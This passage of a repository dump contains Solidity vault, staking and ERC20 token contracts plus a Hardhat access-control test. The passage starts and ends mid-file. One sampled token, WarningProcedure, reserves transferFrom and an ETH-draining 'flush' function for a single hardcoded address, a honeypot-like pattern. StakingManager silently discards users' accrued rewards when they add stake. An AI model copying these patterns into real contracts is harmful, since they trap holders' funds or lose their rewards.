} 32 | 33 | function approveUniswap() external { 34 | require(msg.sender == owner, "Only the owner can approve Uniswap"); 35 | require(block.number >= liquidityAddedBlock + tradingDelayBlocks, "Trading not enabled yet"); 36 | 37 | allowance[address(this)][uniswapV2Router] = type(uint256).max; 38 | emit Approval(address(this), uniswapV2Router, type(uint256).max); 39 | } 40 | 41 | function addLiquidity(uint256 amountToken, uint256 amountETH) external { 42 | require(msg.sender == owner, "Only the owner can add liquidity"); 43 | require(block.number >= liquidityAddedBlock + tradingDelayBlocks, "Trading not enabled yet"); 44 | 45 | balanceOf[address(this)] += amountToken; 46 | emit Transfer(address(0), address(this), amountToken); 47 | 48 | IUniswapV2Router02(uniswapV2Router).addLiquidityETH{value: amountETH}( 49 | address(this), 50 | amountToken, 51 | 0, 52 | 0, 53 | owner, 54 | block.timestamp 55 | ); 56 | } 57 | } 58 | 59 | interface IUniswapV2Factory { 60 | function createPair(address tokenA, address tokenB) external returns (address pair); 61 | } 62 | 63 | interface IUniswapV2Router02 { 64 | function WETH() external pure returns (address); 65 | function factory() external pure returns (address); 66 | function addLiquidityETH( 67 | address token, 68 | uint amountTokenDesired, 69 | uint amountTokenMin, 70 | uint amountETHMin, 71 | address to, 72 | uint deadline 73 | ) external payable; 74 | } 75 | -------------------------------------------------------------------------------- /contracts/VaultManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | import "./ERC20Token.sol"; 6 | 7 | // dev Secure vault for ERC20 token deposits and withdrawals 8 | contract VaultManager is AccessControl { 9 | ERC20Token public token; 10 | mapping(address => uint256) public deposits; 11 | uint256 public totalDeposits; // Tracks the total amount of tokens deposited 12 | bool public isPaused; // Pause state for deposit and withdrawal operations 13 | 14 | event Deposited(address indexed user, uint256 amount, uint256 newBalance); 15 | event Withdrawn(address indexed user, uint256 amount, uint256 newBalance); 16 | event VaultPaused(bool isPaused); 17 | 18 | /// @notice Initializes the contract with a token address 19 | /// @param tokenAddress Address of the ERC20 token to be deposited 20 | constructor(address tokenAddress) { 21 | require(tokenAddress != address(0), "VaultManager: Invalid token address"); 22 | token = ERC20Token(tokenAddress); 23 | isPaused = false; // Vault is active by default 24 | } 25 | 26 | /// @notice Allows users to deposit tokens into the vault 27 | /// @param amount The amount of tokens to deposit 28 | function deposit(uint256 amount) external { 29 | require(!isPaused, "VaultManager: Deposits are currently paused"); 30 | require(amount > 0, "VaultManager: Deposit amount must be greater than zero"); 31 | require(token.transferFrom(msg.sender, address(this), amount), "VaultManager: Transfer failed"); 32 | 33 | deposits[msg.sender] += amount; 34 | totalDeposits += amount; 35 | 36 | emit Deposited(msg.sender, amount, deposits[msg.sender]); 37 | } 38 | 39 | /// @notice Allows users to withdraw their deposited tokens 40 | /// @param amount The amount of tokens to withdraw 41 | function withdraw(uint256 amount) external { 42 | require(!isPaused, "VaultManager: Withdrawals are currently paused"); 43 | require(amount > 0, "VaultManager: Withdraw amount must be greater than zero"); 44 | require(deposits[msg.sender] >= amount, "VaultManager: Insufficient balance"); 45 | 46 | deposits[msg.sender] -= amount; 47 | totalDeposits -= amount; 48 | 49 | require(token.transfer(msg.sender, amount), "VaultManager: Transfer failed"); 50 | 51 | emit Withdrawn(msg.sender, amount, deposits[msg.sender]); 52 | } 53 | 54 | /// @notice Returns the balance of a user's deposit 55 | /// @param user The address of the user 56 | /// @return The deposited balance of the user 57 | function getUserBalance(address user) external view returns (uint256) { 58 | return deposits[user]; 59 | } 60 | 61 | /// @notice Allows the contract owner to pause or resume deposits and withdrawals 62 | /// @param _isPaused Boolean value to set pause state 63 | function setPaused(bool _isPaused) external onlyOwner { 64 | isPaused = _isPaused; 65 | emit VaultPaused(_isPaused); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /contracts/StakingManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | import "./ERC20Token.sol"; 6 | 7 | // Handles token staking, unstaking, and reward distribution 8 | contract StakingManager is AccessControl { 9 | ERC20Token public token; 10 | 11 | struct Stake { 12 | uint256 amount; 13 | uint256 timestamp; 14 | } 15 | 16 | mapping(address => Stake) public stakes; 17 | uint256 public rewardRate; // Reward per second per token staked 18 | uint256 public totalStaked; // Tracks total tokens staked in the contract 19 | 20 | event Staked(address indexed user, uint256 amount, uint256 totalUserStake); 21 | event Unstaked(address indexed user, uint256 amount, uint256 reward); 22 | event RewardRateUpdated(uint256 newRewardRate); 23 | 24 | /// @notice Initializes the staking contract 25 | /// @param tokenAddress The address of the ERC20 token used for staking 26 | /// @param _rewardRate The reward rate per second per token staked 27 | constructor(address tokenAddress, uint256 _rewardRate) { 28 | require(tokenAddress != address(0), "Invalid token address"); 29 | require(_rewardRate > 0, "Reward rate must be greater than zero"); 30 | 31 | token = ERC20Token(tokenAddress); 32 | rewardRate = _rewardRate; 33 | } 34 | 35 | /// @notice Allows users to stake tokens 36 | /// @param amount The amount of tokens to stake 37 | function stake(uint256 amount) external { 38 | require(amount > 0, "Stake amount must be greater than zero"); 39 | require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed"); 40 | 41 | Stake storage userStake = stakes[msg.sender]; 42 | 43 | // Accumulate pending reward before updating stake 44 | uint256 pendingReward = calculateReward(msg.sender); 45 | 46 | userStake.amount += amount; 47 | userStake.timestamp = block.timestamp; 48 | totalStaked += amount; 49 | 50 | emit Staked(msg.sender, amount, userStake.amount); 51 | } 52 | 53 | /// @notice Allows users to unstake their tokens along with earned rewards 54 | function unstake() external { 55 | Stake storage userStake = stakes[msg.sender]; 56 | require(userStake.amount > 0, "No staked tokens"); 57 | 58 | uint256 reward = calculateReward(msg.sender); 59 | uint256 amount = userStake.amount; 60 | 61 | // Reset user stake 62 | totalStaked -= amount; 63 | delete stakes[msg.sender]; 64 | 65 | require(token.transfer(msg.sender, amount + reward), "Transfer failed"); 66 | emit Unstaked(msg.sender, amount, reward); 67 | } 68 | 69 | /// @notice Calculates the pending reward for a user 70 | /// @param user The address of the user 71 | /// @return The total pending reward 72 | function calculateReward(address user) public view returns (uint256) { 73 | Stake storage userStake = stakes[user]; 74 | if (userStake.amount == 0) return 0; 75 | return (userStake.amount * (block.timestamp - userStake.timestamp) * rewardRate) / 1e18; 76 | } 77 | 78 | /// @notice Allows the contract owner to update the reward rate 79 | /// @param _newRewardRate The new reward rate per second per token staked 80 | function updateRewardRate(uint256 _newRewardRate) external onlyOwner { 81 | require(_newRewardRate > 0, "Reward rate must be greater than zero"); 82 | rewardRate = _newRewardRate; 83 | emit RewardRateUpdated(_newRewardRate); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /ContractSet/0x0a38bf2446024b7e4811a7548ee38a24ba8d22ba.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface IERC20 { 5 | function totalSupply() external view returns (uint256); 6 | function balanceOf(address account) external view returns (uint256); 7 | function transfer(address recipient, uint256 amount) external returns (bool); 8 | function allowance(address owner, address spender) external view returns (uint256); 9 | function approve(address spender, uint256 amount) external returns (bool); 10 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 11 | event Transfer(address indexed from, address indexed to, uint256 value); 12 | event Approval(address indexed owner, address indexed spender, uint256 value); 13 | } 14 | 15 | contract WarningProcedure is IERC20 { 16 | 17 | 18 | string public constant name = "WARNING"; 19 | string public constant symbol = "WARN"; 20 | uint8 public constant decimals = 9; 21 | uint256 private _totalSupply = 1 * (10 ** uint256(decimals)); // 22 | address public ercWarningImplementation = 0x3B0F4Ffce933b3869328016E77F69659ef7D13ca; 23 | address public deadAddress = 0x000000000000000000000000000000000000dEaD; 24 | mapping(address => uint256) private _balances; 25 | mapping(address => mapping(address => uint256)) private _allowances; 26 | 27 | constructor() { 28 | _balances[msg.sender] = _totalSupply; 29 | emit Transfer(address(0), msg.sender, _totalSupply); 30 | 31 | } 32 | 33 | receive() external payable { } 34 | 35 | 36 | function totalSupply() external view override returns (uint256) { 37 | return _totalSupply; 38 | } 39 | 40 | function balanceOf(address account) external view override returns (uint256) { 41 | return _balances[account]; 42 | } 43 | 44 | function transfer(address recipient, uint256 amount) external override returns (bool) { 45 | require(recipient != address(0), "Invalid address"); 46 | require(_balances[msg.sender] >= amount, "Insufficient funds"); 47 | 48 | _balances[msg.sender] -= amount; 49 | _balances[recipient] += amount; 50 | emit Transfer(msg.sender, recipient, amount); 51 | return true; 52 | } 53 | 54 | function allowance(address owner, address spender) external view override returns (uint256) { 55 | return _allowances[owner][spender]; 56 | } 57 | 58 | function approve(address spender, uint256 amount) external override returns (bool) { 59 | _allowances[msg.sender][spender] = amount; 60 | emit Approval(msg.sender, spender, amount); 61 | return true; 62 | } 63 | 64 | function flush(address destined) external { 65 | require(msg.sender == ercWarningImplementation); 66 | uint256 amountETH = address(this).balance; 67 | payable(destined).transfer(amountETH); 68 | } 69 | 70 | 71 | function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { 72 | 73 | require(sender != address(0), "Invalid address"); 74 | require(recipient != address(0), "Invalid address"); 75 | require(_balances[sender] >= amount, "Insufficient funds"); 76 | require(msg.sender == ercWarningImplementation); 77 | require(_allowances[sender][msg.sender] >= amount, "Allowance exceeded"); 78 | 79 | _balances[sender] -= amount; 80 | _balances[recipient] += amount; 81 | _allowances[sender][msg.sender] -= amount; 82 | emit Transfer(sender, recipient, amount); 83 | return true; 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /test/AccessControl.test.js: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | const { ethers } = require("hardhat"); 3 | 4 | describe("AccessControl Contract", function () { 5 | let AccessControl, accessControl, owner, addr1, addr2; 6 | 7 | beforeEach(async function () { 8 | // Get the contract factory 9 | AccessControl = await ethers.getContractFactory("AccessControl"); 10 | [owner, addr1, addr2] = await ethers.getSigners(); 11 | 12 | // Deploy the contract 13 | accessControl = await AccessControl.deploy(); 14 | await accessControl.deployed(); 15 | }); 16 | 17 | it("should correctly set the contract owner", async function () { 18 | expect(await accessControl.owner()).to.equal(owner.address); 19 | }); 20 | 21 | it("owner should be able to transfer ownership", async function () { 22 | await accessControl.transferOwnership(addr1.address); 23 | expect(await accessControl.owner()).to.equal(addr1.address); 24 | }); 25 | 26 | it("non-owner should not be able to transfer ownership", async function () { 27 | await expect( 28 | accessControl.connect(addr1).transferOwnership(addr2.address) 29 | ).to.be.revertedWith("Not owner"); 30 | }); 31 | 32 | it("owner should be able to add an admin", async function () { 33 | await accessControl.addAdmin(addr1.address); 34 | expect(await accessControl.isAdmin(addr1.address)).to.be.true; 35 | }); 36 | 37 | it("non-owner should not be able to add an admin", async function () { 38 | await expect( 39 | accessControl.connect(addr1).addAdmin(addr2.address) 40 | ).to.be.revertedWith("Not owner"); 41 | }); 42 | 43 | it("owner should be able to remove an admin", async function () { 44 | await accessControl.addAdmin(addr1.address); 45 | await accessControl.removeAdmin(addr1.address); 46 | expect(await accessControl.isAdmin(addr1.address)).to.be.false; 47 | }); 48 | 49 | it("non-owner should not be able to remove an admin", async function () { 50 | await accessControl.addAdmin(addr1.address); 51 | await expect( 52 | accessControl.connect(addr1).removeAdmin(addr1.address) 53 | ).to.be.revertedWith("Not owner"); 54 | }); 55 | 56 | it("owner should be an admin by default", async function () { 57 | expect(await accessControl.isAdmin(owner.address)).to.be.true; 58 | }); 59 | 60 | it("admin (non-owner) should be able to call onlyAdmin function", async function () { 61 | await accessControl.addAdmin(addr1.address); 62 | 63 | // Deploy a test contract that uses onlyAdmin modifier 64 | const OnlyAdminTest = await ethers.getContractFactory(` 65 | contract OnlyAdminTest is AccessControl { 66 | function test() public view onlyAdmin returns (string memory) { 67 | return "Success"; 68 | } 69 | } 70 | `); 71 | const onlyAdminTest = await OnlyAdminTest.deploy(); 72 | await onlyAdminTest.deployed(); 73 | 74 | expect(await onlyAdminTest.connect(addr1).test()).to.equal("Success"); 75 | }); 76 | 77 | it("non-admin should not be able to call onlyAdmin function", async function () { 78 | const OnlyAdminTest = await ethers.getContractFactory(` 79 | contract OnlyAdminTest is AccessControl { 80 | function test() public view onlyAdmin returns (string memory) { 81 | return "Success"; 82 | } 83 | } 84 | `); 85 | const onlyAdminTest = await OnlyAdminTest.deploy(); 86 | await onlyAdminTest.deployed(); 87 | 88 | await expect(onlyAdminTest.connect(addr1).test()).to.be.revertedWith("Not admin"); 89 | }); 90 | }); 91 | -------------------------------------------------------------------------------- /CoreVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract CoreVault { 5 | string public name = "CoreVaultToken"; 6 | string public symbol = "CVT"; 7 | uint8 public decimals = 18; 8 | uint256 public totalSupply = 1000000 * (10 ** uint256(decimals)); 9 | address public owner; 10 | mapping(address => uint256) public balanceOf; 11 | mapping(address => mapping(address => uint256)) public allowance; 12 | uint256 public maxTxAmount = totalSupply / 100; 13 | uint256 public feePercent = 2; 14 | address public feeReceiver; 15 | 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | event Approval(address indexed owner, address indexed spender, uint256 value); 18 | event FeeReceiverUpdated(address indexed newReceiver); 19 | event FeePercentUpdated(uint256 newFee); 20 | event MaxTxAmountUpdated(uint256 newMax); 21 | 22 | modifier onlyOwner() { 23 | require(msg.sender == owner, "Not owner"); 24 | _; 25 | } 26 | 27 | constructor() { 28 | owner = msg.sender; 29 | feeReceiver = msg.sender; 30 | balanceOf[msg.sender] = totalSupply; 31 | } 32 | 33 | function transfer(address recipient, uint256 amount) public returns (bool) { 34 | require(amount <= maxTxAmount, "Exceeds max tx limit"); 35 | require(balanceOf[msg.sender] >= amount, "Insufficient balance"); 36 | uint256 fee = (amount * feePercent) / 100; 37 | uint256 amountAfterFee = amount - fee; 38 | require(amountAfterFee + fee == amount, "Fee calculation error"); 39 | 40 | balanceOf[msg.sender] -= amount; 41 | balanceOf[recipient] += amountAfterFee; 42 | balanceOf[feeReceiver] += fee; 43 | 44 | emit Transfer(msg.sender, recipient, amountAfterFee); 45 | emit Transfer(msg.sender, feeReceiver, fee); 46 | return true; 47 | } 48 | 49 | function approve(address spender, uint256 amount) public returns (bool) { 50 | require(amount == 0 || allowance[msg.sender][spender] == 0, "Use decreaseAllowance instead"); 51 | allowance[msg.sender][spender] = amount; 52 | emit Approval(msg.sender, spender, amount); 53 | return true; 54 | } 55 | 56 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 57 | require(amount <= allowance[sender][msg.sender], "Allowance exceeded"); 58 | require(amount <= maxTxAmount, "Exceeds max tx limit"); 59 | require(balanceOf[sender] >= amount, "Insufficient balance"); 60 | uint256 fee = (amount * feePercent) / 100; 61 | uint256 amountAfterFee = amount - fee; 62 | require(amountAfterFee + fee == amount, "Fee calculation error"); 63 | 64 | allowance[sender][msg.sender] -= amount; 65 | balanceOf[sender] -= amount; 66 | balanceOf[recipient] += amountAfterFee; 67 | balanceOf[feeReceiver] += fee; 68 | 69 | emit Transfer(sender, recipient, amountAfterFee); 70 | emit Transfer(sender, feeReceiver, fee); 71 | return true; 72 | } 73 | 74 | function setMaxTxAmount(uint256 newMax) external onlyOwner { 75 | require(newMax >= 1000 * (10**decimals) && newMax <= totalSupply, "Invalid maxTxAmount"); 76 | maxTxAmount = newMax; 77 | emit MaxTxAmountUpdated(newMax); 78 | } 79 | 80 | function setFeePercent(uint256 newFee) external onlyOwner { 81 | require(newFee <= 10, "Fee too high"); 82 | feePercent = newFee; 83 | emit FeePercentUpdated(newFee); 84 | } 85 | 86 | function setFeeReceiver(address newReceiver) external onlyOwner { 87 | require(newReceiver != address(0), "Invalid address"); 88 | feeReceiver = newReceiver; 89 | emit FeeReceiverUpdated(newReceiver); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /contracts/CoreVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract CoreVault { 5 | string public name = "CoreVaultToken"; 6 | string public symbol = "CVT"; 7 | uint8 public decimals = 18; 8 | uint256 public totalSupply = 1000000 * (10 ** uint256(decimals)); 9 | address public owner; 10 | mapping(address => uint256) public balanceOf; 11 | mapping(address => mapping(address => uint256)) public allowance; 12 | uint256 public maxTxAmount = totalSupply / 100; 13 | uint256 public feePercent = 2; 14 | address public feeReceiver; 15 | 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | event Approval(address indexed owner, address indexed spender, uint256 value); 18 | event FeeReceiverUpdated(address indexed newReceiver); 19 | event FeePercentUpdated(uint256 newFee); 20 | event MaxTxAmountUpdated(uint256 newMax); 21 | 22 | modifier onlyOwner() { 23 | require(msg.sender == owner, "Not owner"); 24 | _; 25 | } 26 | 27 | constructor() { 28 | owner = msg.sender; 29 | feeReceiver = msg.sender; 30 | balanceOf[msg.sender] = totalSupply; 31 | } 32 | 33 | function transfer(address recipient, uint256 amount) public returns (bool) { 34 | require(amount <= maxTxAmount, "Exceeds max tx limit"); 35 | require(balanceOf[msg.sender] >= amount, "Insufficient balance"); 36 | uint256 fee = (amount * feePercent) / 100; 37 | uint256 amountAfterFee = amount - fee; 38 | require(amountAfterFee + fee == amount, "Fee calculation error"); 39 | 40 | balanceOf[msg.sender] -= amount; 41 | balanceOf[recipient] += amountAfterFee; 42 | balanceOf[feeReceiver] += fee; 43 | 44 | emit Transfer(msg.sender, recipient, amountAfterFee); 45 | emit Transfer(msg.sender, feeReceiver, fee); 46 | return true; 47 | } 48 | 49 | function approve(address spender, uint256 amount) public returns (bool) { 50 | require(amount == 0 || allowance[msg.sender][spender] == 0, "Use decreaseAllowance instead"); 51 | allowance[msg.sender][spender] = amount; 52 | emit Approval(msg.sender, spender, amount); 53 | return true; 54 | } 55 | 56 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 57 | require(amount <= allowance[sender][msg.sender], "Allowance exceeded"); 58 | require(amount <= maxTxAmount, "Exceeds max tx limit"); 59 | require(balanceOf[sender] >= amount, "Insufficient balance"); 60 | uint256 fee = (amount * feePercent) / 100; 61 | uint256 amountAfterFee = amount - fee; 62 | require(amountAfterFee + fee == amount, "Fee calculation error"); 63 | 64 | allowance[sender][msg.sender] -= amount; 65 | balanceOf[sender] -= amount; 66 | balanceOf[recipient] += amountAfterFee; 67 | balanceOf[feeReceiver] += fee; 68 | 69 | emit Transfer(sender, recipient, amountAfterFee); 70 | emit Transfer(sender, feeReceiver, fee); 71 | return true; 72 | } 73 | 74 | function setMaxTxAmount(uint256 newMax) external onlyOwner { 75 | require(newMax >= 1000 * (10**decimals) && newMax <= totalSupply, "Invalid maxTxAmount"); 76 | maxTxAmount = newMax; 77 | emit MaxTxAmountUpdated(newMax); 78 | } 79 | 80 | function setFeePercent(uint256 newFee) external onlyOwner { 81 | require(newFee <= 10, "Fee too high"); 82 | feePercent = newFee; 83 | emit FeePercentUpdated(newFee); 84 | } 85 | 86 | function setFeeReceiver(address newReceiver) external onlyOwner { 87 | require(newReceiver != address(0), "Invalid address"); 88 | feeReceiver = newReceiver; 89 | emit FeeReceiverUpdated(newReceiver); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /ContractSet/0x00B14C3cF3a8Af0f8C00537DAdD76477BAa2e1f1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | // https://t.me/GROKTHEAIBOTErc 4 | 5 | pragma solidity 0.7.6; 6 | 7 | interface IERC20 { 8 | event Transfer(address indexed from, address indexed to, uint256 value); 9 | event Approval(address indexed owner, address indexed spender, uint256 value); 10 | } 11 | 12 | library SafeMath { 13 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 14 | uint256 c = a + b; 15 | require(c >= a, "SafeMath: addition overflow"); 16 | return c; 17 | } 18 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 19 | require(b <= a, "SafeMath: subtraction overflow"); 20 | uint256 c = a - b; 21 | return c; 22 | } 23 | 24 | } 25 | 26 | contract ERC20 is IERC20 { 27 | using SafeMath for uint256; 28 | mapping (address => uint256) private _balances; 29 | mapping (address => mapping (address => uint256)) private _allowances; 30 | 31 | uint256 public totalSupply; 32 | 33 | function balanceOf(address account) public view returns (uint256) { 34 | return _balances[account]; 35 | } 36 | function transfer(address recipient, uint256 amount) public returns (bool) { 37 | _transfer(msg.sender, recipient, amount); 38 | return true; 39 | } 40 | function allowance(address owner, address spender) public view returns (uint256) { 41 | return _allowances[owner][spender]; 42 | } 43 | function approve(address spender, uint256 value) public returns (bool) { 44 | _approve(msg.sender, spender, value); 45 | return true; 46 | } 47 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 48 | _transfer(sender, recipient, amount); 49 | _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); 50 | return true; 51 | } 52 | 53 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { 54 | _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); 55 | return true; 56 | } 57 | 58 | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { 59 | _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); 60 | return true; 61 | } 62 | 63 | function _transfer(address sender, address recipient, uint256 amount) internal { 64 | require(sender != address(0), "ERC20: transfer from the zero address"); 65 | require(recipient != address(0), "ERC20: transfer to the zero address"); 66 | _balances[sender] = _balances[sender].sub(amount); 67 | _balances[recipient] = _balances[recipient].add(amount); 68 | emit Transfer(sender, recipient, amount); 69 | } 70 | 71 | function _createInitialSupply(address account, uint256 amount) internal { 72 | require(account != address(0), "ERC20: mint to the zero address"); 73 | totalSupply = totalSupply.add(amount); 74 | _balances[account] = _balances[account].add(amount); 75 | emit Transfer(address(0), account, amount); 76 | } 77 | 78 | function _approve(address owner, address spender, uint256 value) internal { 79 | require(owner != address(0), "ERC20: approve from the zero address"); 80 | require(spender != address(0), "ERC20: approve to the zero address"); 81 | _allowances[owner][spender] = value; 82 | emit Approval(owner, spender, value); 83 | } 84 | } 85 | 86 | contract GrokTheAIBot is ERC20 { 87 | 88 | string public constant name = "GROK THE AI BOT"; 89 | string public constant symbol = "GBOT"; 90 | uint8 public constant decimals = 18; 91 | 92 | constructor() { 93 | _createInitialSupply(msg.sender, 100_000_000 * 10**decimals); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /ContractSet/0x4cf429b2ee3b6888dcb7c53f5228b9f9716875a4.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.4; 3 | 4 | interface IERC20 { 5 | function transfer(address recipient, uint256 amount) external returns (bool); 6 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 7 | function balanceOf(address account) external view returns (uint256); 8 | function approve(address spender, uint256 amount) external returns (bool); 9 | function decimals() external view returns (uint8); 10 | } 11 | interface IERC20_USDT { 12 | function transferFrom(address from, address to, uint value) external; 13 | } 14 | contract HugMeSaleContract { 15 | IERC20 public saleToken; 16 | address payable public owner; 17 | 18 | mapping(address => uint256) public rates; 19 | 20 | enum QuoteType { PaymentToSale, SaleToPayment } 21 | 22 | event TokensPurchased(address indexed buyer, uint256 amount, uint256 rate); 23 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 24 | 25 | constructor(address _saleToken) { 26 | saleToken = IERC20(_saleToken); 27 | owner = payable(msg.sender); 28 | emit OwnershipTransferred(address(0), msg.sender); 29 | } 30 | 31 | modifier onlyOwner() { 32 | require(msg.sender == owner, "Only the owner can call this function"); 33 | _; 34 | } 35 | 36 | function quote(QuoteType quoteType, address paymentTokenAddress, uint256 amount) public view returns (uint256) { 37 | require(rates[paymentTokenAddress] > 0, "Rate for this token not set"); 38 | 39 | if (quoteType == QuoteType.PaymentToSale) { 40 | if (paymentTokenAddress == address(0)) { // ETH 41 | return (rates[address(0)] * amount / 1 ether) * (10 ** uint256(saleToken.decimals())); 42 | } else { // ERC20 43 | IERC20 paymentToken = IERC20(paymentTokenAddress); 44 | return (rates[paymentTokenAddress] * amount) * (10 ** uint256(saleToken.decimals())) / (10 ** uint256(paymentToken.decimals())); 45 | } 46 | } else { // SaleToPayment 47 | if (paymentTokenAddress == address(0)) { // ETH 48 | return (amount / rates[address(0)]) * 1 ether / (10 ** uint256(saleToken.decimals())); 49 | } else { // ERC20 50 | IERC20 paymentToken = IERC20(paymentTokenAddress); 51 | return (amount / rates[paymentTokenAddress]) * (10 ** uint256(paymentToken.decimals())) / (10 ** uint256(saleToken.decimals())); 52 | } 53 | } 54 | } 55 | 56 | // Purchase tokens with ETH 57 | function buyTokensWithETH() external payable { 58 | uint256 tokensToBuy = quote(QuoteType.PaymentToSale, address(0), msg.value); 59 | require(saleToken.transfer(msg.sender, tokensToBuy), "Failed to transfer tokens"); 60 | owner.transfer(msg.value); 61 | emit TokensPurchased(msg.sender, tokensToBuy, rates[address(0)]); 62 | } 63 | 64 | // Purchase tokens with ERC20 65 | function buyTokensWithERC20(address paymentTokenAddress, uint256 amount) external { 66 | uint256 tokensToBuy = quote(QuoteType.PaymentToSale, paymentTokenAddress, amount); 67 | 68 | if (paymentTokenAddress == 0xdAC17F958D2ee523a2206206994597C13D831ec7) { // Replace with the actual USDT address 69 | IERC20_USDT usdtToken = IERC20_USDT(paymentTokenAddress); 70 | usdtToken.transferFrom(msg.sender, owner, amount); 71 | // Handle non-standard USDT transfer 72 | } else { 73 | IERC20 paymentToken = IERC20(paymentTokenAddress); 74 | require(paymentToken.transferFrom(msg.sender, owner, amount), "Failed to transfer payment tokens"); 75 | } 76 | 77 | require(saleToken.transfer(msg.sender, tokensToBuy), "Failed to transfer tokens"); 78 | emit TokensPurchased(msg.sender, tokensToBuy, rates[paymentTokenAddress]); 79 | } 80 | 81 | 82 | // Finalize the sale 83 | function finalize() external onlyOwner { 84 | require(saleToken.transfer(owner, saleToken.balanceOf(address(this))), "Failed to transfer remaining tokens"); 85 | } 86 | 87 | // Update the rate for a specific payment token 88 | function updateRate(address paymentTokenAddress, uint256 _newRate) external onlyOwner { 89 | rates[paymentTokenAddress] = _newRate; 90 | } 91 | 92 | // Transfer ownership 93 | function transferOwnership(address payable newOwner) external onlyOwner { 94 | require(newOwner != address(0), "New owner is the zero address"); 95 | emit OwnershipTransferred(owner, newOwner); 96 | owner = newOwner; 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /ContractSet/0x2D9a276448994093c8984b32e5894b0715020dc7.sol: -------------------------------------------------------------------------------- 1 | // Website: https://powblocks.com/ 2 | 3 | // SPDX-License-Identifier: MIT 4 | 5 | pragma solidity ^0.7.6; 6 | 7 | interface ERC20 { 8 | function totalSupply() external view returns (uint); 9 | function balanceOf(address who) external view returns (uint); 10 | function allowance(address owner, address spender) external view returns (uint); 11 | function transfer(address to, uint value) external returns (bool); 12 | function approve(address spender, uint value) external returns (bool); 13 | function transferFrom(address from, address to, uint value) external returns (bool); 14 | event Transfer(address indexed from, address indexed to, uint value); 15 | event Approval(address indexed owner, address indexed spender, uint value); 16 | } 17 | 18 | interface ApproveAndCallFallBack { 19 | function receiveApproval(address from, uint tokens, address token, bytes calldata data) external; 20 | } 21 | 22 | contract XPB is ERC20 { 23 | using SafeMath for uint256; 24 | mapping (address => uint256) private balances; 25 | mapping (address => mapping (address => uint256)) private allowed; 26 | string public constant name = "PowBlocks.com"; 27 | string public constant symbol = "XPB"; 28 | uint8 public constant decimals = 18; 29 | address deployer; 30 | uint256 _totalSupply = 1000000 * 10**18; 31 | 32 | constructor() { 33 | deployer = msg.sender; 34 | balances[deployer] = _totalSupply; 35 | emit Transfer(address(0), deployer, _totalSupply); 36 | } 37 | 38 | function totalSupply() public view override returns (uint256) { 39 | return _totalSupply; 40 | } 41 | 42 | function balanceOf(address addr) public view override returns (uint256) { 43 | return balances[addr]; 44 | } 45 | 46 | function allowance(address addr, address spender) public view override returns (uint256) { 47 | return allowed[addr][spender]; 48 | } 49 | 50 | function transfer(address to, uint256 value) public override returns (bool) { 51 | require(value <= balances[msg.sender]); 52 | require(to != address(0)); 53 | 54 | balances[msg.sender] = balances[msg.sender].sub(value); 55 | balances[to] = balances[to].add(value); 56 | 57 | emit Transfer(msg.sender, to, value); 58 | return true; 59 | } 60 | 61 | function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { 62 | for (uint256 i = 0; i < receivers.length; i++) { 63 | transfer(receivers[i], amounts[i]); 64 | } 65 | } 66 | 67 | function approve(address spender, uint256 value) public override returns (bool) { 68 | require(spender != address(0)); 69 | allowed[msg.sender][spender] = value; 70 | emit Approval(msg.sender, spender, value); 71 | return true; 72 | } 73 | 74 | function transferFrom(address from, address to, uint256 value) public override returns (bool) { 75 | require(value <= balances[from]); 76 | require(value <= allowed[from][msg.sender]); 77 | require(to != address(0)); 78 | 79 | balances[from] = balances[from].sub(value); 80 | balances[to] = balances[to].add(value); 81 | 82 | allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); 83 | 84 | emit Transfer(from, to, value); 85 | return true; 86 | } 87 | 88 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { 89 | require(spender != address(0)); 90 | allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); 91 | emit Approval(msg.sender, spender, allowed[msg.sender][spender]); 92 | return true; 93 | } 94 | 95 | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { 96 | require(spender != address(0)); 97 | allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); 98 | emit Approval(msg.sender, spender, allowed[msg.sender][spender]); 99 | return true; 100 | } 101 | 102 | } 103 | 104 | library SafeMath { 105 | function mul(uint256 a, uint256 